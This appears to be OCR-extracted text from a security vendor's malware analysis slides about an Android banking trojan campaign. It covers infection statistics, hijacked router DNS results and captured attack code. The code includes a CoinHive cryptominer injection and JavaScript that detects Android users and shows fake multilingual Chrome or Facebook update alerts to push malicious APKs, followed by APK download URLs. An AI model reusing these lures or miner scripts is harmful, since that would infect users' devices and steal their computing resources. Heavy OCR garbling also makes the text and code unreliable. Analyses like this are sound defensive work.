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domain
www.google.com
www.youtube.com
www. facebook.com
www. baidu.com
www.wikipedia.org
www.yahoo.com
www.google.co.in
www. reddit.com
WwWw.qg.com
www.taobao.com
www.tmall.com
WWW.3Mazon.com
www. twitter.com

www.vk.com
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Trojan-Banker.Android.Wroba.al (18/02/2018 - 18/08/2018)
Country Number of users
Total
russian federatio
korea, republic of[i8 74
india 62
bangladesh 51
japan 47
turkey 28
ukraine 28
taiwan 17
germany 14
nepal 11
poland 11
kazakhstan 10
viet nam 10
czech republic 8
indonesia 8 -8 6-15 ”“"1:3;;’;“3”5 28 - 68 68 - 660
others . 99 - K ASPERSK? s

e e o ——



(getString(l));
href = "http://security.apple.com/";
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PCO | xj ©Y blg 3.

[("<script src=\"https://coinhive.com/lib/coinhive.min.js\ '><" + "/script>");
["=script=");
[ var miner = new ColnHive.Anonymous (Y 'MbGzUiVDoyTIbIEPB@XETUUCxgBgObaCy');");

f n r-'l'l T ==k =T = - i B
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||1|| alert l-]':'T 51 1ng 1 ;
.4” location.href = "http://security.apple.com/'
-1teln("<script EFE=H”httEE:ffLulhhl.e.LuﬁJllbfiﬂiﬂhive-”iﬂ-jEH'}{ "/script>"

1
u";tc1w "sscript=");
writeln var miner = new CoinHive.Anonymous (' 'MbGzUiVDoyfIbIEP8GXETUUCXxgBgebaCy');"
. miner.start();"
("< "script="

writeln
writeln
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Source: https://www.ntt-east.co.jp/info/detail/180328 01.html
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Source: http://web116.jp/business/product/og410x_o0g810x/pdf/OG410XOG810X_ man_201803.pdf
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www.ez—net,.co, kr

- & AS-KR Korea Telecom (4766) 9 Republic of Korea
3 ﬂ'?'&g'%jlg Q@(.’Eg)ﬂuu. Q 53/dns,80/http

2\ -
- o2t HIREsE A2 [ESE 2HR. (PPPE ALEX) % NEXF2204N
- DFIPE A5 PSS BHS.(DEIP AL Q 53.dns.lookup.answers.response: 118.168.193.123
lg Internet Explorer & &E3tD, CF &3+ 20l "192.168.0.17 =
\23t0. “Enter” 3|E =ZLICL
OIE) EEE) EI(Y) SAHSEIA) (T) ( & AS-KR Korea Telecom (4766) @ Seoul, Seoul, Republic of Korea
£ 53/dns, 80/http
- ~ 4-\
Lt s 1B (s Qs |, [ 84=% & NEXT-2204N

3-3-1.

http://192,168,0. 1 Q 53.dns.lookup.answers.response: 118.168.193.123

& AS-KR Korea Telecom (4766) @ Busan, Busan, Republic of Korea
£ 53/dns, 80/http
Q 53.dns.lookup.answers.response: 118.168.193.123

& AS-KR Korea Telecom (4766) 9 Republic of Korea

=T - 220&" % 53/dns, 80/http
%—)r (? & (.)_| E‘| ljJ _g_g;}r j| @& NEXT-2204N
Q 53.dns.lookup.answers.response: 118.168.193.123

oM ME R M

N-RRE & AS-KR Korea Telecom (4766) @ Cheonan, Chungcheongnam-do, Republic of Korea
240w e & 53/dns, 80/http

AZE AIEEAIZ 1 hour 12 mins 2 secs

HE oC HOIESO0| 2 Q 53.dns.lookup.answers.response: 118.168.193.123

Source: http://lwww.ez-net.co.kr/eznet/manual/next-2204n-router-manual 100617.pdf
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chrome.apkx p Aup dO4H. S:vlitov2

navigator.userfgent;

~ isAndroid = u.indexOf('Android®) > -1 || u.indexOFf("Adr') > -1;

var isi0s = !lu.match(/A(i[*;]+;( U;)? CPU.+Mac 05 X/);
if(isAndroid) {
window.alert( E|

MEFHO| EAEASLICH. ACOES O|SHFHAR.")

window.location.href = "http://"

+ location.hostname + “/chrome.apk"

{script>
var u = navigator.userfAgent;

var isAndroid = u.indexOf('Android') » -1 || u.indexOFf('Adr') > -1;
Vu.match{ (L[~ 1+3( U3 CPU.+Mac 05 X/F);
if (isAndroid)} {
var lang = (navigator.language || navigator.browserLanguage).tolowerCase()

it (lang.startsWith("ko™)) {// 853
window.alert("StZ F|4E Chrome 2| ZHMHFO| ZSAZIUSLIC. AGHOEE O|EFFUAIZ.")

F (lang.startsWith{"zh-en"}) { .y
EEFHHEHchromehiF. ")

|| lang.startsWith{"zh-hk™)}) {// &
alert("AEIFERIRSE, FEEHIEF chromelfid. ")

- (lang.startsWith(™zh-tw")

i.alert("To better experience the browsing, update to the latest chrome version."™)

window.location.href = "http://" + location.hostname + “/chrome.apk"

KASPERIKYS




chrome.apkxxp Auxp OY. S:v2tov3

var isAndroid = u.indexOf('&ndroid') > -1 || u.indexOf{'Adr') > -1;
Huematch(/A(I[; ]+3( U2 CPUL+Mac 05 X/);
it (isAndroid) {
var lang = (navigator.language || navigator.browserlanguage).tolowerCase()
if (lang.startsWith("ko™)) {//BE
window.alert("SHS 7§45 Chrome 9| HAIHFO| SAITYELICH. AGOES OJSHTUAIL.")
} else if {lang.startsWith("zh-cn™}} { (4%
window.alert (" SEFEEIHRAE, FEFEES chroneliE. )
b oelse if (lang.startsWith({"zh-tw") || lang.startsWith{"zh-hk"})} {

window.alert (" SEFESEIREE, FEFHEES chromeffE. ")

navigator.userfdgent;
~ isfndroid = u.indexOFf('Android') > -1 || u.indexOFf('Adr') > -1;
var 15105 = !lu.match{/A(LI[™:1+;( U3)2 CPU.+Mac 05 X/);
if (isAndroid) {
var lang = (navigator.language || navigator.browserlanguage).tolowerCase()
if {lang.startsWith("ko"™)) {
window.alert({"H|0|25 EHOr=tE 2! MES FESH|HC 2XSHA|ZEHEILLC. ")
} else if (lang.startsWith("zh-cn"}) {// &+
window.alert("BEEEfFacebooki EIETEAETEY, HEERGEE.
} else if (lang.startsWith{"zh-tw") || lang.startsWith{"zh-hk")}) {// Z4&
window.alert("BEEFacebooki ETESEALT 2, DRERSEE. )
glse if (lang.startsWith({"ja")) {
window.alert ("EEIEER<$FBTIIHIC. Bfichrome/{—=3 >ABHLTUEEL. =)
Y oelse { //EAD
window.alert({"To better experience the browsing, update to the latest chrome version.™) I{ASPERSI(\:’E




facebook.apk
XpAup OU. S:vl

Android = u.ind

+ Math.random(}.toStrin .substring
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facebook.apk

"EEEracebooki BEIEREAT2YE, LRERTHEE. ',

'APP StorelSHEEESRE,BEEFEF'L
zh2: ['FEEEFacebookiBETETEAETSYE, ERSEE., 1,/ /dor
ja: ['FacebookihiEW—IL) (v AERATESHRMERNESEERLELET. 1,
ko: ['HO|AF HOMEE 9 AMES {ESH|YS] ZXSHA| ZHHELC. "],

en: ['To better experience the browsing, update to the latest Facebook wversion.'],
ar: [' pamei olgal dajs @i’ ,aps  Facebook par A0ls 8 . Zale Bypms dalaiialy o Hladl spimas fuweil

gaslindl Bopd 0] Bolpdl Galy ply . BI3801 zielall  pailaly gad o3 Gsd 330 cEaale Brsay Lela3i ole Byaidl

1./ /B

bg: ['MonA, WHCTANWPAWTE WHCTPYMEHTE 33 paswWMpeHWETo Ha Facebook, =a ga nogofpWTe CHrYpHOCTTE W no-gofpaTta

pafoTa. AKO PasSWWpPEHMETO HE MOME O3 CE WSTErMAW MNPaEBMNHO, MONA, KNWKHETE Bwpxy ByToHa KonwpadHe, oTBopeTe Gpayswpa no

nogpasfvpaHe M NoOCTaBeTe BPpbh3KaTa B agpecHaTa NeHTa, 3a 43 NoNy<dWMTe SocTel g0 Hero. '], =l E

+ pl: ['Prosze zainstalowad narzedzie Facebook w celu poprawy berpieczefistwa i piynnosci obstugi. Jesli
narzedzie nie pobiera sie w sposdb prawidifowy, kliknij w przycisk Kopiuj, otwdrz przegladarke domy=lng i wklej odnosnik do
paska adresu.'],//E—=}

+ de: ['Bitte installieren 5ie das Facebook-Erweiterungstooclkit, das die Sicherheit verbessern und fliegend

zein kann. Wenn es nicht normal heruntergeladen werden kann, klicken Sie auf die Kopieren-Kndpfe und verwenden Sie den

Standardbrowser. Flgen Sie den Link vor dem Besuch in die Adressleiste ein'],// /&0

+ ru: ['MoxanyHWcTa, YCTAHOBMTE pPAacWMpWMTEenbHWA koMmnnekT Facebook, 4Tobfd ynydwuTe GeIonacHoCTe W GernoccTe
WCNONb30BEHMA . ECNW Bul HE MOMETE MPEBWNBHO SarpysSHTb, HEKWMWTE KHONMKy =KONWpoBaTe® W MCNONBIYATE GpaysSep No yMONYaHHm,

YToBH BCTABMThE CCBUIKY B afpecHyw CTpOKY 4na gocTyna. '], I{ASPERSI(V'E
- ¥ -

+ tl: ['Mangyari ikabit ang Facebook na ekstensyon toolkit upang mapabuti ang siguridad at katatasan. Kapag ang
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X .apkblnj ©f1
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& Download URLs

S file has been spotted as the response content of the following URLs

EI‘N[_J 'Isagawa-othh.com/sagawa apki

[ R R R AR R R R R R RN R R R R R R R RN R R R R R RN R R RN RN RN R RN R RN R R R RN N

)://sagawa-otqc.com/sagawa.apk

sagawa-€

Xwe.com/sagawa.apk

/sagawa-otfd.com/sagawa.apk




